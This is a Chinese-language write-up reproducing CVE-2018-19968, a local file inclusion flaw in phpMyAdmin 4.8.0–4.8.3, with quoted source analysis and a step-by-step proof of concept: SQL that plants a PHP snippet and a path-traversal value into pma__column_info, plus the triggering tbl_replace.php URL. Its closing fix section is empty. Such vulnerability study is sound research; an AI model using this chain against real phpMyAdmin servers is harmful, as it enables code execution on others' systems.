不知不觉就咸鱼了一周(发出了断九幺的声音),复现了下CVE-2018-19968,顺便分析下源码 
 
介绍 
影响4.8.0~4.8.3版本 
读取本地文件 
需要登陆 适用于可以登陆PHPMyAdmin,但是无法限制了写入文件的情况 
 
详情 漏洞产生于tbl_replace.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 $mime_map = Transformations::getMIME($GLOBALS['db' ], $GLOBALS['table' ]); if  ($mime_map === false ) {    $mime_map = array (); } $query_fields = array (); $insert_errors = array (); $row_skipped = false ; $unsaved_values = array (); [...]                  if  (!empty ($mime_map[$column_name])             && !empty ($mime_map[$column_name]['input_transformation' ])         ) {             $filename = 'libraries/classes/Plugins/Transformations/'                  . $mime_map[$column_name]['input_transformation' ];             if  (is_file($filename)) {                 include_once  $filename;                 $classname = Transformations::getClassName($filename);                                  $transformation_plugin = new  $classname();                 $transformation_options = Transformations::getOptions(                     $mime_map[$column_name]['input_transformation_options' ]                 );                 $current_value = $transformation_plugin->applyTransformation(                     $current_value, $transformation_options                 );                                                   if  (method_exists($transformation_plugin, 'isSuccess' )                     && !$transformation_plugin->isSuccess()                 ) {                     $insert_fail = true ;                     $row_skipped = true ;                     $insert_errors[] = sprintf(                         __('Row: %1$s, Column: %2$s, Error: %3$s' ),                         $rownumber, $column_name,                         $transformation_plugin->getError()                     );                 }             }         } 
 
注意其中的include_once $filename; 而$filename = 'libraries/classes/Plugins/Transformations/'. $mime_map[$column_name]['input_transformation'];mime_map[$column_name][‘input_transformation’]; 又来自于$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
getMIME则是libraries/classes/Transformations.php的一个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public  static  function  getMIME ($db, $table, $strict = false, $fullName = false)  {    $relation = new  Relation();     $cfgRelation = $relation->getRelationsParam();     if  (! $cfgRelation['mimework' ]) {         return  false ;     }     $com_qry = '' ;     if  ($fullName) {         $com_qry .= "SELECT CONCAT("              . "`db_name`, '.', `table_name`, '.', `column_name`"              . ") AS column_name, " ;     } else  {         $com_qry  = "SELECT `column_name`, " ;     }     $com_qry .= '`mimetype`,                  `transformation`,                 `transformation_options`,                 `input_transformation`,                 `input_transformation_options`          FROM '  . Util::backquote($cfgRelation['db' ]) . '.'         . Util::backquote($cfgRelation['column_info' ]) . '           WHERE `db_name`    = \''  . $GLOBALS['dbi' ]->escapeString($db) . '\'            AND `table_name` = \''  . $GLOBALS['dbi' ]->escapeString($table) . '\'            AND ( `mimetype` != \'\''  . (!$strict ? '               OR `transformation` != \'\'               OR `transformation_options` != \'\'               OR `input_transformation` != \'\'               OR `input_transformation_options` != \'\''  : '' ) . ')' ;    $result = $GLOBALS['dbi' ]->fetchResult(         $com_qry, 'column_name' , null , DatabaseInterface::CONNECT_CONTROL     );     foreach  ($result as  $column => $values) {                  $delimiter_space = '- ' ;         $delimiter = "_" ;         $values['mimetype' ] = self ::fixupMIME($values['mimetype' ]);                                    $dir = explode('/' , $values['transformation' ]);         $subdir = '' ;         if  (count($dir) === 2 ) {             $subdir = ucfirst($dir[0 ]) . '/' ;             $values['transformation' ] = $dir[1 ];         }         $values['transformation' ] = self ::fixupMIME($values['transformation' ]);         $values['transformation' ] = $subdir . $values['transformation' ];         $result[$column] = $values;     }     return  $result; } 
 
从$values['transformation'] = $subdir . $values['transformation'];知道mime_map[$column_name]['input_transformation']= $subdir . $values['transformation'] 而$value则是来自于$result$result = $GLOBALS['dbi']->fetchResult($com_qry, 'column_name', null, DatabaseInterface::CONNECT_CONTROL); 执行的sql语句是
1 SELECT  `column_name` , `mimetype` , `transformation` , `transformation_options` , `input_transformation` , `input_transformation_options`  FROM  `db_name` .`pma__column_info`  WHERE  `db_name`  = 'db_name'  AND  `table_name`  = 'table_name'  AND  ( `mimetype`  != ''  OR  `transformation`  != ''  OR  `transformation_options`  != ''  OR  `input_transformation`  != ''  OR  `input_transformation_options`  != '' )
 
创建一个表
1 2 3 CREATE  DATABASE  foo;CREATE  TABLE  foo.bar ( baz VARCHAR (100 ) PRIMARY KEY  );INSERT  INTO  foo.bar SELECT  '<?php phpinfo(); ?>' ;
 
向pma__column_info中插入数据
1 2 INSERT  INTO  pma__column_info SELECT  '1' , 'foo' , 'bar' , 'baz' , 'plop' ,'plop' , 'plop' , 'plop' ,'../../../../../../../../test' ,'plop' ;
 
查询结果
1 2 3 4 5 6 7 mysql> SELECT `column_name`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options` FROM `foo`.`pma__column_info` WHERE `db_name` = 'foo'  AND `table_name` = 'bar'  AND ( `mimetype` != ''  OR `transformation` != ''  OR `transformation_options` != ''  OR `input_transformation` != ''  OR `input_transformation_options` != '' ); +-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+ | column_name | mimetype | transformation | transformation_options | input_transformation                 | input_transformation_options | +-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+ | baz         | plop     | plop           | plop                   | ../../../../../../../../test  | plop                         | +-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+ 1 row in  set  (0.00 sec) 
 
这样filename就是libraries/classes/Plugins/Transformations/../../../../../../../../test 如果test文件存在就会被包含
复现 创建一个表
1 2 3 CREATE  DATABASE  foo;CREATE  TABLE  foo.bar ( baz VARCHAR (100 ) PRIMARY KEY  );INSERT  INTO  foo.bar SELECT  '<?php phpinfo(); ?>' ;
 
指定文件为session文件
1 2 INSERT  INTO  pma__column_infoSELECT '1' , 'foo' , 'bar' , 'baz' , 'plop' ,'plop' , 'plop' , 'plop' ,'../../../../../../../../tmp/sess_***' ,'plop' ;
 
其中***为Cookie中PhPmyadmin的值 之后访问http://localhost/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 即可看到phpinfo
修复